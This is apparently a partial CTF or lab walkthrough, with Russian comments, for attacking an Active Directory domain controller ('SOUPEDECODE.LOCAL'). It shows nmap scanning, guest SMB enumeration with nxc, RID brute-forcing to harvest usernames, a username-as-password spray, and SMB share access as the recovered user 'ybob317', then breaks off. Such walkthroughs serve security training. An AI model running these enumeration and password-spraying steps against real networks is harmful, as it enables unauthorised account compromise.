##Walkthrough## #Recon# nmap -sCV -O 10.112.158.124 -Pn -vv nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,9389,49664,49666,49675,49711,49793 10.112.158.124 -Pn -v //DNS_Domain_Name: SOUPEDECODE.LOCAL //DNS_Computer_Name: DC01.SOUPEDECODE.LOCAL vim /etc/hosts 10.112.158.124 soupdecode.local dc01.soupdecode.local nxc smb soupdecode.local -u guest -p '' nxc smb soupdecode.local -u guest -p '' --shares nxc smb soupdecode.local -u guest -p '' --rid //RID brute-force, since the IPC$ share is readable. // Составлю список пользователей следующей командой. nxc smb 10.112.158.124 -u 'guest' -p '' --rid-brute | grep -oP 'SOUPEDECODE\\\K[^ ]+' | sed 's/(.*//' > users.txt // Перебор логина как пароля. nxc smb 10.112.158.124 -u users.txt -p users.txt --no-brute --continue-on-success #Access as ybob317 // Перечислим файлы от имени пользователя ybob317. nxc smb 10.112.158.124 -u 'ybob317' -p 'ybob317' --shares // Подключаемся от имени пользователя ybob317. smbclient //10.112.158.124/Users -U ybob317 get file.txt

****To be continued****